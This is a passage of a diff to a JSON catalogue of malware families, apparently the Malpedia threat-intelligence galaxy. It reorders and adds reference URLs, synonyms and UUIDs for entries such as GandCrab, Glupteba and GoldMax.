"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" ], "synonyms": [ "RouterGod" @@ -23889,11 +25311,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -23914,6 +25336,19 @@ "uuid": "c9d78931-318c-4b34-af33-c90f6612a4f1", "value": "Furtim" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive", + "https://www.youtube.com/watch?v=_qdCGgQlHJE" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5de632a3-bf82-4cef-90fa-e7199fdb932c", + "value": "FusionDrive" + }, { "description": "FuxSocy has some similarities to win.cerber but is tracked as its own family for now.", "meta": { @@ -23985,21 +25420,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf", + "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.wired.com/?p=2171700", "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.wired.com/?p=2171700", - "https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", "https://www.lawfareblog.com/what-point-these-nation-state-indictments", - "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", - "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf" ], "synonyms": [ "GOZ", @@ -24011,6 +25446,20 @@ "uuid": "ffc8c386-e9d6-4889-afdf-ebf37621bc4f", "value": "Gameover P2P" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.game_player_framework", + "https://www.youtube.com/watch?v=yVqALLtvkN8&t=8117s", + "https://securelist.com/diceyf-deploys-gameplayerframework-in-online-casino-development-studio/107723/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3efdc56a-793c-4fbb-99ea-a4d53899713a", + "value": "GamePlayerFramework" + }, { "description": "", "meta": { @@ -24028,63 +25477,64 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab", - "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", - "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", - "https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", - "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", - "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", - "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", - "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "http://www.secureworks.com/research/threat-profiles/gold-garden", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", - "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", - "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", - "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://vimeo.com/449849549", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", "https://unit42.paloaltonetworks.com/revil-threat-actors/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", - "http://asec.ahnlab.com/1145", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://isc.sans.edu/diary/23417", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", - "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://vimeo.com/449849549", + "https://asec.ahnlab.com/en/41450/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", + "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", "https://www.secureworks.com/research/threat-profiles/gold-garden", - "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html" + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", + "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", + "http://www.secureworks.com/research/threat-profiles/gold-garden", + "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", + "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", + "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", + "http://asec.ahnlab.com/1145", + "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", + "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", + "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://isc.sans.edu/diary/23417", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/" ], "synonyms": [ "GrandCrab" @@ -24139,12 +25589,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer", - 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"https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - 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"https://twitter.com/struppigel/status/1506933328599044100", "https://ke-la.com/information-stealers-a-new-landscape/", + "https://blog.talosintelligence.com/haskers-gang-zingostealer/", + "https://twitter.com/struppigel/status/1506933328599044100", "https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf" ], "synonyms": [], @@ -24605,25 +26077,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter", - "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - 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"https://asec.ahnlab.com/ko/30284/" + "https://asec.ahnlab.com/en/48940/", + "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run", + "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", + "https://asec.ahnlab.com/ko/30284/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/", + "https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf", + "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://isc.sans.edu/diary/23417" ], "synonyms": [ "Fake Globe" @@ -24655,46 +26129,38 @@ "synonyms": [], "type": [] }, - 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After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", - "https://community.riskiq.com/article/2a36a7d2/description", - "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", - "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", - "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", - "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", - "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", - "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", - "http://resources.infosecinstitute.com/tdss4-part-1/", + "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", "https://habr.com/ru/company/solarsecurity/blog/578900/", - "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", - "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain/", + "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/", - "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", + "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", + "https://community.riskiq.com/article/2a36a7d2/description", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", + "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", + "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", "https://labs.k7computing.com/?p=22319", + "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", + "http://resources.infosecinstitute.com/tdss4-part-1/", "https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter", + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf" ], "synonyms": [], @@ -24722,8 +26188,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker", "https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html", - "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go", - "https://twitter.com/GrujaRS/status/1254657823478353920" + "https://twitter.com/GrujaRS/status/1254657823478353920", + "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go" ], "synonyms": [], "type": [] @@ -24736,9 +26202,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.godlike12", - "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", - "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/" + "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/", + "https://securelist.com/apt-trends-report-q2-2020/97937/" ], "synonyms": [ "GOSLU" @@ -24800,15 +26266,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "4bc55eb3-7c92-4668-a75a-d5e291387613", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7d89e8dc-4999-47e9-b497-b476e368a8d2", "value": "Goggles" }, @@ -24827,13 +26284,26 @@ "uuid": "034a3db0-b53c-4ec1-9390-4b6f214e1233", "value": "GoGoogle" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldbackdoor", + "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "54f5cf02-6fdc-43b4-af06-87af1a901264", + "value": "GOLDBACKDOOR" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye", - "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/" ], "synonyms": [ "Petya/Mischa" @@ -24848,8 +26318,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper", - "https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d" ], "synonyms": [], "type": [] @@ -24862,15 +26332,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.ic3.gov/Media/News/2020/201103-1.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/", - "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", "https://www.ic3.gov/media/news/2020/200728.pdf", - "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", + "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://www.ic3.gov/Media/News/2020/201103-1.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/" ], "synonyms": [], "type": [] @@ -24883,30 +26353,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://securelist.com/extracting-type-information-from-go-binaries/104715/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://securelist.com/extracting-type-information-from-go-binaries/104715/", + "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], "synonyms": [ "SUNSHUTTLE" ], "type": [] }, - "related": [ - { - "dest-uuid": "1e912590-c879-4a9c-81b9-2d31e82ac718", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9a3429d7-e4a8-43c5-8786-0b3a1c841a5f", "value": "GoldMax" }, @@ -24915,11 +26377,11 @@ "meta": { "refs": [ 